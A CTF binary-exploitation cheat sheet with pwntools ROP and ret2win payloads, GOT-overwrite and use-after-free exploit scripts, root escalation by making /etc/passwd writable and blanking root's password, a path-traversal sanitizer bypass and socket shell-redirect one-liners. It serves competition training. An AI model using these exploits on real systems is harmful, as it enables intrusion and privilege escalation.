ctf-pwn
CTF Binary Exploitation (Pwn)
Quick reference for pwn challenges. For detailed techniques, see supporting files.
Additional Resources
- format-string.md - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass)
- advanced.md - Advanced techniques (heap, JIT, esoteric GOT, custom allocators, DNS overflow)
Source Code Red Flags
- Threading/
pthread→ race conditions usleep()/sleep()→ timing windows- Global variables in multiple threads → TOCTOU
Race Condition Exploitation
bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'
Common Vulnerabilities
- Buffer overflow:
gets(),scanf("%s"),strcpy() - Format string:
printf(user_input) - Integer overflow, UAF, race conditions
Kernel Exploitation
- Look for vulnerable
lseekhandlers allowing OOB read/write - Heap grooming with forked processes
- SUID binary exploitation via kernel-to-userland buffer overflow
- Check kernel config for disabled protections:
CONFIG_SLAB_FREELIST_RANDOM=n→ sequential heap chunksCONFIG_SLAB_MERGE_DEFAULT=n→ predictable allocations
FUSE/CUSE Character Device Exploitation
FUSE (Filesystem in Userspace) / CUSE (Character device in Userspace)
Identification:
- Look for
cuse_lowlevel_main()orfuse_main()calls - Device operations struct with
open,read,writehandlers - Device name registered via
DEVNAME=backdooror similar
Common vulnerability patterns:
// Backdoor pattern: write handler with command parsing
void backdoor_write(const char *input, size_t len) {
char *cmd = strtok(input, ":");
char *file = strtok(NULL, ":");
char *mode = strtok(NULL, ":");
if (!strcmp(cmd, "b4ckd00r")) {
chmod(file, atoi(mode)); // Arbitrary chmod!
}
}
Exploitation:
# Change /etc/passwd permissions via custom device
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
# 511 decimal = 0777 octal (rwx for all)
# Now modify passwd to get root
echo "root::0:0:root:/root:/bin/sh" > /etc/passwd
su root
Privilege escalation via passwd modification:
- Make
/etc/passwdwritable via the backdoor - Replace root line with
root::0:0:root:/root:/bin/sh(no password) su rootwithout password prompt
Busybox/Restricted Shell Escalation
When in restricted environment without sudo:
- Find writable paths via character devices
- Target system files:
/etc/passwd,/etc/shadow,/etc/sudoers - Modify permissions then content to gain root
Protection Implications for Exploit Strategy
| Protection | Status | Implication |
|---|---|---|
| PIE | Disabled | All addresses (GOT, PLT, functions) are fixed - direct overwrites work |
| RELRO | Partial | GOT is writable - GOT overwrite attacks possible |
| RELRO | Full | GOT is read-only - need alternative targets (hooks, vtables, return addr) |
| NX | Enabled | Can't execute shellcode on stack/heap - use ROP or ret2win |
| Canary | Present | Stack smash detected - need leak or avoid stack overflow (use heap) |
Quick decision tree:
- Partial RELRO + No PIE → GOT overwrite (easiest, use fixed addresses)
- Full RELRO → target
__free_hook,__malloc_hook(glibc < 2.34), or return addresses - Stack canary present → prefer heap-based attacks or leak canary first
Stack Buffer Overflow
- Find offset to return address:
cyclic 200thencyclic -l <value> - Check protections:
checksec --file=binary - No PIE + No canary = direct ROP
- Canary leak via format string or partial overwrite
ret2win with Parameter (Magic Value Check)
Pattern: Win function checks argument against magic value before printing flag.
// Common pattern in disassembly
void win(long arg) {
if (arg == 0x1337c0decafebeef) { // Magic check
// Open and print flag
}
}
Exploitation (x86-64):
from pwn import *
# Find gadgets
pop_rdi_ret = 0x40150b # pop rdi; ret
ret = 0x40101a # ret (for stack alignment)
win_func = 0x4013ac
magic = 0x1337c0decafebeef
offset = 112 + 8 # = 120 bytes to reach return address
payload = b"A" * offset
payload += p64(ret) # Stack alignment (Ubuntu/glibc requires 16-byte)
payload += p64(pop_rdi_ret)
payload += p64(magic)
payload += p64(win_func)
Finding the win function:
- Search for
fopen("flag.txt")or similar in Ghidra - Look for functions with no XREF that check a magic parameter
- Check for conditional print/exit patterns after parameter comparison
Stack Alignment (16-byte Requirement)
Modern Ubuntu/glibc requires 16-byte stack alignment before call instructions. Symptoms of misalignment:
- SIGSEGV in
movapsinstruction (SSE requires alignment) - Crash inside libc functions (printf, system, etc.)
Fix: Add extra ret gadget before your ROP chain:
payload = b"A" * offset
payload += p64(ret) # Align stack to 16 bytes
payload += p64(pop_rdi_ret)
# ... rest of chain
Offset Calculation from Disassembly
push %rbp
mov %rsp,%rbp
sub $0x70,%rsp ; Stack frame = 0x70 (112) bytes
...
lea -0x70(%rbp),%rax ; Buffer at rbp-0x70
mov $0xf0,%edx ; read() size = 240 (overflow!)
Calculate offset:
- Buffer starts at
rbp - buffer_offset(e.g., rbp-0x70) - Saved RBP is at
rbp(0 offset from buffer end) - Return address is at
rbp + 8 - Total offset = buffer_offset + 8 = 112 + 8 = 120 bytes
Input Filtering (memmem checks)
Some challenges filter input using memmem() to block certain strings:
payload = b"A" * 120 + p64(gadget) + p64(value)
assert b"badge" not in payload and b"token" not in payload
Finding Gadgets
# Find pop rdi; ret
objdump -d binary | grep -B1 "pop.*rdi"
ROPgadget --binary binary | grep "pop rdi"
# Find simple ret (for alignment)
objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"
Struct Pointer Overwrite (Heap Menu Challenges)
Pattern: Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.
Struct layout example:
struct Student {
char name[36]; // offset 0x00 - data buffer
int *grade_ptr; // offset 0x24 - pointer to separate allocation
float gpa; // offset 0x28
}; // total: 0x2c (44 bytes)
Exploitation:
from pwn import *
WIN = 0x08049316
GOT_TARGET = 0x0804c00c # printf@GOT
# 1. Create object (allocates struct + sub-allocations)
create_student("AAAA", 5, 3.5)
# 2. Modify name - overflow into pointer field with GOT address
payload = b'A' * 36 + p32(GOT_TARGET) # 36 bytes padding + GOT addr
modify_name(0, payload)
# 3. Modify grade - scanf("%d", corrupted_ptr) writes to GOT
modify_grade(0, str(WIN)) # Writes win addr as int to GOT entry
# 4. Trigger overwritten function -> jumps to win
GOT target selection strategy:
- Identify which libc functions the
winfunction calls internally - Do NOT overwrite GOT entries for functions used by
win(causes infinite recursion/crash) - Prefer functions called in the main loop AFTER the write
| Win uses | Safe GOT targets |
|---|---|
| puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |
| printf, system | puts, exit, free |
| system only | puts, printf, exit |
ROP Chain Building
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)
# Common gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# Leak libc
payload = flat(
b'A' * offset,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
)
Pwntools Template
from pwn import *
context.binary = elf = ELF('./binary')
context.log_level = 'debug'
def conn():
if args.REMOTE:
return remote('host', port)
return process('./binary')
io = conn()
# exploit here
io.interactive()
Useful Commands
one_gadget libc.so.6 # Find one-shot gadgets
ropper -f binary # Find ROP gadgets
ROPgadget --binary binary # Alternative gadget finder
seccomp-tools dump ./binary # Check seccomp rules
Use-After-Free (UAF) Exploitation
Pattern: Menu-based programs with create/delete/view operations where free() doesn't NULL the pointer.
Classic UAF flow:
- Create object A (allocates chunk with function pointer)
- Leak address via inspect/view (bypass PIE)
- Free object A (creates dangling pointer)
- Allocate object B of same size (reuses freed chunk via tcache)
- Object B data overwrites A's function pointer with
win()address - Trigger A's callback → jumps to
win()
Key insight: Both structs must be the same size for tcache to reuse the chunk.
# UAP Watch pattern
create_report("sighting-0") # 64-byte struct with callback ptr at +56
leak = inspect_report(0) # Leak callback address for PIE bypass
pie_base = leak - redaction_offset
win_addr = pie_base + win_offset
delete_report(0) # Free chunk, dangling pointer remains
# Allocate same-size struct, overwriting callback
create_signal(b"A"*56 + p64(win_addr))
analyze_report(0) # Calls dangling pointer → win()
Seccomp Bypass
Alternative syscalls when seccomp blocks open()/read():
openat()(257),openat2()(437, often missed!),sendfile()(40),readv()/writev()
Check rules: seccomp-tools dump ./binary
See advanced.md for: conditional buffer address restrictions, shellcode construction without relocations (call/pop trick), seccomp analysis from disassembly, scmp_arg_cmp struct layout.
Stack Shellcode with Input Reversal
Pattern (Scarecode): Binary reverses input buffer before returning.
Strategy:
- Leak address via info-leak command (bypass PIE)
- Find
sub rsp, 0x10; jmp *%rspgadget - Pre-reverse shellcode and RIP overwrite bytes
- Use partial 6-byte RIP overwrite (avoids null bytes from canonical addresses)
- Place trampoline (
jmp short) to hop back into NOP sled + shellcode
Null-byte avoidance with scanf("%s"):
- Can't embed
\x00in payload - Use partial pointer overwrite (6 bytes) — top 2 bytes match since same mapping
- Use short jumps and NOP sleds instead of multi-address ROP chains
Path Traversal Sanitizer Bypass
Pattern (Galactic Archives): Sanitizer skips character after finding banned char.
# Sanitizer removes '.' and '/' but skips next char after match
# ../../etc/passwd → bypass with doubled chars:
"....//....//etc//passwd"
# Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)
Flag via /proc/self/fd/N:
- If binary opens flag file but doesn't close fd, read via
/proc/self/fd/3 - fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file
Global Buffer Overflow (CSV Injection)
Pattern (Spreadsheet): Adjacent global variables exploitable via overflow.
Exploitation:
- Identify global array adjacent to filename pointer in memory
- Overflow array bounds by injecting extra delimiters (commas in CSV)
- Overflowed pointer lands on filename variable
- Change filename to
flag.txt, then trigger read operation
# Edit last cell with comma-separated overflow
edit_cell("J10", "whatever,flag.txt")
save() # CSV row now has 11 columns
load() # Column 11 overwrites savefile pointer with ptr to "flag.txt"
load() # Now reads flag.txt into spreadsheet
print_spreadsheet() # Shows flag
Shell Tricks
File descriptor redirection (no reverse shell needed):
# Redirect stdin/stdout to client socket (fd 3 common for network)
exec <&3; sh >&3 2>&3
# Or as single command string
exec<&3;sh>&3
- Network servers often have client connection on fd 3
- Avoids firewall issues with outbound connections
- Works when you have command exec but limited chars
Find correct fd:
ls -la /proc/self/fd # List open file descriptors
Short shellcode alternatives:
sh<&3 >&3- minimal shell redirect- Use
$0instead ofshin some shells